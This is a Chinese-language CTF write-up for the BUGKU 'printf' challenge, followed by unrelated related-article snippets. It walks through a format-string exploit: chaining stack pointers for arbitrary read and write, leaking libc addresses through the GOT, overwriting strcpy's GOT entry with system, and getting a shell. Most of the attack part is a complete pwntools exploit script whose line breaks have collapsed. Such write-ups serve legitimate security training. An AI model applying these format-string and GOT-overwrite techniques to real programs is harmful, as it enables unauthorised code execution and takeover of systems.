BUGKU printf
整体思路
实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell
第一步:实现循环
从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步:获取libc版本和system函数地址
要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。
注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。
万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)
翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?
这个某处就是p3,这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550
首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复,直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步:将strcpy的got表项修改为system并获取shell
为什么是修改strcpy?
考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。
源码如下:
需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。
from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64c2m_v3[k%256] = a# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00') # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))def get_ptr(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$p\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)addr = b'0x' + sentence.split(b'0x')[-1]addr = addr.decode('utf-8')addr = int(addr, 16)return addrdef get_value(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$s\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)value = u64(sentence[-6:].ljust(8, b'\x00'))return valuedef write_to_54(addr):content_50 = get_ptr(50);for j in range(8):i = 7 - j# write last byte of %50 from %14last_byte = content_50 % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%14$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of %54 from %50addr_byte = (addr & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'if addr_byte == 0:cipher = '%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)def write_from_54(addr, value):for j in range(8):i = 7 - j# write last byte of %54 from %50last_byte = addr % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of addr from %54value_byte = (value & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(value_byte) + 'c%54$hhn\x00'if value_byte == 0:cipher = '%54$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr = get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()
相关文章:
BUGKU printf
整体思路 实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell 第一步:实现循环 从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。 encode1会将编码后的结果保存至0x2015c0处&am…...
深度学习:梯度下降法
损失函数 L:衡量单一训练样例的效果。 成本函数 J:用于衡量 w 和 b 的效果。 如何使用梯度下降法来训练或学习训练集上的参数w和b ? 成本函数J是参数w和b的函数,它被定义为平均值; 损失函数L可以衡量你的算法效果&a…...
`console.log`调试完全指南
大家好,这里是 Geek技术前线。 今天我们来探讨 Console.log() 的一些优点。并分析一些基本概念和实践,这些可以让我们的调试工作变得更加高效。 理解前端 log 与后端 log 的区别 前端 log 与后端 log 有着显著的不同,理解这一点至关重要。…...
ROS VSCode调试方法
VSCode 调试 Ros文档 1.编译参数设置 cd catkin_ws catkin_make -DCMAKE_BUILD_TYPEDebug2.vscode 调试插件安装 可在扩展中安装(Ctrl Shift X): 1.ROS 2.C/C 3.C Intelliense 4.Msg Language Support 5.Txt Syntax 3.导入已有或者新建ROS工作空间 3.1 导入工作…...
16 —— Webpack多页面打包
需求:把 黑马头条登陆页面-内容页面 一起引入打包使用 步骤: 准备源码(html、css、js)放入相应位置,并改用模块化语法导出 原始content.html代码 <!DOCTYPE html> <html lang"en"><head&…...
微服务即时通讯系统的实现(服务端)----(3)
目录 1. 消息存储子服务的实现1.1 功能设计1.2 模块划分1.3 模块功能示意图1.4 数据管理1.4.1 数据库消息管理1.4.2 ES文本消息管理 1.5 接口的实现1.5.1 消息存储子服务所用到的protobuf接口实现1.5.2 最近N条消息获取接口实现1.5.3 指定时间段消息搜索接口实现1.5.4 关键字消…...
.net6.0 mvc 传递 model 实体参数(无法对 null 引用执行运行时绑定)
说一下情况: 代码没问题,能成功从数据库里查到数据,能将数据丢给ViewBag.XXXX, 在View页面也能获取到 ViewBag.XXXX的值,但是发布到线上后报这个错: Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: 无法对 …...
VUE 入门级教程:开启 Vue.js 编程之旅
一、Vue.js 简介 Vue.js 是一套构建用户界面的渐进式 JavaScript 框架。它专注于视图层的开发,能够轻松地与其他库或现有项目进行整合。Vue.js 的核心库只关注视图层,通过简洁的 API 实现数据绑定和 DOM 操作的响应式更新,让开发者可以高效地…...
Ubantu系统docker运行成功拉取失败【成功解决】
解决docker运行成功拉取失败 失败报错 skysky-Legion-Y7000-IRX9:~$ docker run hello-world docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Head “http://%2Fvar%2Frun%2Fdocker.sock/_ping”: dial uni…...
mvn-mac操作小记
1.安装brew 如果报错,Warning: /opt/homebrew/bin is not in your PATH. vim ~/.zshrc,最后一行追加 export PATH“/opt/homebrew/bin:$PATH” source ~/.zshrc 2.安装brew install maven mvn -version查看路径 Maven home: /opt/homebrew/Cellar/mav…...
机器学习——生成对抗网络(GANs):原理、进展与应用前景分析
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一. 生成对抗网络的基本原理二. 使用步骤2.1 对抗性训练2.2 损失函数 三. GAN的变种和进展四. 生成对抗网络的应用五. 持续挑战与未来发展方向六. 小结 前言 生…...
「Mac畅玩鸿蒙与硬件33」UI互动应用篇10 - 数字猜谜游戏
本篇将带你实现一个简单的数字猜谜游戏。用户输入一个数字,应用会判断是否接近目标数字,并提供提示“高一点”或“低一点”,直到用户猜中目标数字。这个小游戏结合状态管理和用户交互,是一个入门级的互动应用示例。 关键词 UI互…...
Ps:存储 Adobe PDF
在 Adobe Photoshop 中,将图像保存为 PDF 文件时, 会弹出“存储 Adobe PDF” Save Adobe PDF对话框。在此对话框中提供了多个选项,用于控制 PDF 文件的输出,包括一般设置(选择预设、兼容性和保留编辑功能)、…...
DDR3保姆级使用教程:ZYNQ 7010
内容:使用DDR3 IP核,向DDR3写入数据,然后再读出数据,通过串口打印。 设备:ZYNQ 7010 xc7z010clg-400-1。软件VIVADO 2018.3 (1)工程模块:一个写FIFO,一个读FIFO。一个ZYNQ IP核&am…...
OpenCV 模板匹配全解析:从单模板到多模板的实战指南
简介:本文深入探讨 OpenCV 中的模板匹配技术。详细介绍构建输入图像与模板图像的步骤,包括读取、截取、滤波与存储等操作。剖析 cv2.matchTemplate 语法及其参数含义,阐述不同匹配方法下结果值的意义。同时讲解 cv2.minMaxLoc 语法࿰…...
【JAVA] 杂谈: java中的拷贝(克隆方法)
这篇文章我们来介绍什么是拷贝,并且实现浅拷贝到深拷贝。 目录 一、浅拷贝 1.1 clone 方法 1.2 实现浅拷贝: 1.2.1 重写 clone方法 1.2.2 实现接口 Cloneable 1.2.3 调用克隆方法 1.2.4 原理图: 1.3 浅拷贝的不足 1.3.1 增加引用…...
使用 PDF API 合并 PDF 文件
内容来源: 如何在 Mac 上合并 PDF 文件 1. 注册与认证 您可以注册一个免费的 ComPDFKit API 帐户,该帐户允许您在 30 天内免费无限制地处理 1,000 多个文档。 ComPDFKit API 使用 JSON Web Tokens 方法进行安全身份验证。从控制面板获取您的公钥和密钥&…...
关于BeanUtils.copyProperties是否能正常复制字段【详细版】
话不多说!先总结: 1、字段相同,类型不同(不复制,也不报错) 2、子类父类 (1)子类传给父类(可以正常复制) (2)父类传给子类(可以正常复制) 3、子类父类&#x…...
爬虫框架快速入门——Scrapy
适用人群:零基础、对网络爬虫有兴趣但不知道从何开始的小白。 什么是 Scrapy? Scrapy 是一个基于 Python 的网络爬虫框架,它能帮助你快速爬取网站上的数据,并将数据保存到文件或数据库中。 特点: 高效:支…...
鸿蒙开发-HMS Kit能力集(应用内支付、推送服务)
1 应用内支付 开发步骤 步骤一:判断当前登录的华为账号所在服务地是否支持应用内支付 在使用应用内支付之前,您的应用需要向IAP Kit发送queryEnvironmentStatus请求,以此判断用户当前登录的华为帐号所在的服务地是否在IAP Kit支持结算的国…...
TYUT设计模式大题
对比简单工厂,工厂方法,抽象工厂模式 比较安全组合模式和透明组合模式 安全组合模式容器节点有管理子部件的方法,而叶子节点没有,防止在用户在叶子节点上调用不适当的方法,保证了的安全性,防止叶子节点暴露…...
Webman中实现定时任务
文章目录 Webman中实现定时任务一、引言二、安装与配置1、安装Crontab组件2、创建进程文件3、配置进程文件随Webman启动4、重启Webman5、Cron表达式(补充)例子 三、使用示例四、总结 Webman中实现定时任务 一、引言 在现代的后端开发中,定时…...
《以 C++破局:人工智能系统可解释性的探索与实现》
在当今科技飞速发展的时代,人工智能已深度融入我们的生活,从医疗诊断到金融决策,从交通管控到司法审判,其影响力无处不在。然而,在这些涉及重大利益和社会影响的关键领域,人工智能系统却面临着严峻的信任危…...
C++:QTableWidget删除选中行(单行,多行即可)
转自博客: Qt C -在QTableWidget中删除行 - 腾讯云开发者社区 - 腾讯云 我的界面: 采集机器人位置和姿态信息并写入QTableWidget控件中 删除代码: 1.获取要删除行的索引 2.删除行 QList<QTableWidgetItem*> items ui->tableW…...
C++类中多线程的编码方式
问题 在C++代码中,一般的代码是需要封装在类里面,比如对象,方法等。否则就不能很好的利用C++面向对象的能力了。 但是这个方式在处理线程时会碰到一个问题。 考虑下面一个简单的场景: class demoC { public:std::thread t;int x;void threadFunc(){std::cout<<x&…...
数据湖的概念(包含数据中台、数据湖、数据仓库、数据集市的区别)--了解数据湖,这一篇就够了
文章目录 一、数据湖概念1、企业对数据的困扰2、什么是数据湖3、数据中台、数据湖、数据仓库、数据集市的区别 网上看了好多有关数据湖的帖子,还有数据中台、数据湖、数据仓库、数据集市的区别的帖子,发现帖子写的都很多,而且专业名词很多&am…...
EDKII之安全启动详细介绍
文章目录 安全启动简介安全启动流程介绍签名过程BIOS实现小结 安全启动简介 安全启动(Secure Boot)是一种计算机系统的安全功能,旨在确保系统启动过程中只能加载经过数字签名的受信任的操作系统和启动加载程序。通过使用安全启动,…...
原生js上传图片
无样式上传图片 创建一个 FormData 对象:这个对象可以用于存储数据。 将文件添加到 FormData 对象:通过 append() 方法,将用户选择的文件添加到 formData 对象中。 使用 fetch 发送请求:使用 fetch API 或者其他方法将 FormDat…...
使用torch==2.5.1版本用的清华源遇到的坑
解决安装torch后,torch.cuda.is_available()结果为false的问题 清华源下载到的torch2.5.1版本的Lib\site-packages\torch\version.py 其中,清华源指的是: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorchhttps://mirrors.tuna.tsinghua.…...
泷羽Sec-星河飞雪-BurpSuite之解码、日志、对比模块基础使用
免责声明 学习视频来自 B 站up主泷羽sec,如涉及侵权马上删除文章。 笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。 泷羽sec官网:http…...
做58网站怎么赚钱/网址怎么创建
关于编写出现1064的问题 原因如下 sql 语句中的字段和MySQL数据库关键字冲突,如update 、create、select、database等; sql语句标点错误,如单双引号误写,分号中文; 编码格式错误; 写sql语句的时候&…...
网站建设分录/线上营销模式
定义结构 为了定义结构,您必须使用 struct 语句。struct 语句定义了一个包含多个成员的新的数据类型,struct 语句的格式如下: struct type_name { member_type1 member_name1; member_type2 member_name2; member_type3 member_name3; . . …...
网站建设应考虑哪些方面的问题/长沙大型网站建设公司
现象: 现在大多数java开发者使用的IDE都是eclipse,而且一般在一个workspace中,会有很多个项目,有些是open的,有些是关闭的。有时候eclipse在使用过程中会莫名其妙的异常中断关闭,再打开eclipse,…...
免费空间访问/seo搜索优化推广
【IT168 专稿】存储是目前IT产业发展的一大热点,而RAID技术是构造高性能、海量存储的基础技术,也是构建网络存储的基础技术。专家认为,磁盘阵列的性能优势得益于磁盘运行的并行性,提高设备运行并行度可以提高磁盘的性能和数据安全…...
wordpress add_options_page/网络推广代理怎么做
对于该输入: python3如下: if __name__ __main__:while True:try:l list(map(int, input().strip().split()))if len(l) 0:breakprint(sum(l))except EOFError:break注:不加try、except模块oj系统报错...
电商网站管理系统模板下载/整站seo技术搜索引擎优化
本片文章是算法排序系列的第一章,也是我在平台上的第一篇文章,希望自己能够坚持下去,同时本部分算法学习中一定会给出Java或者scala的实现方式(心情好的话也可能是两种语言都有),好了废话不多说,我们切入正题ÿ…...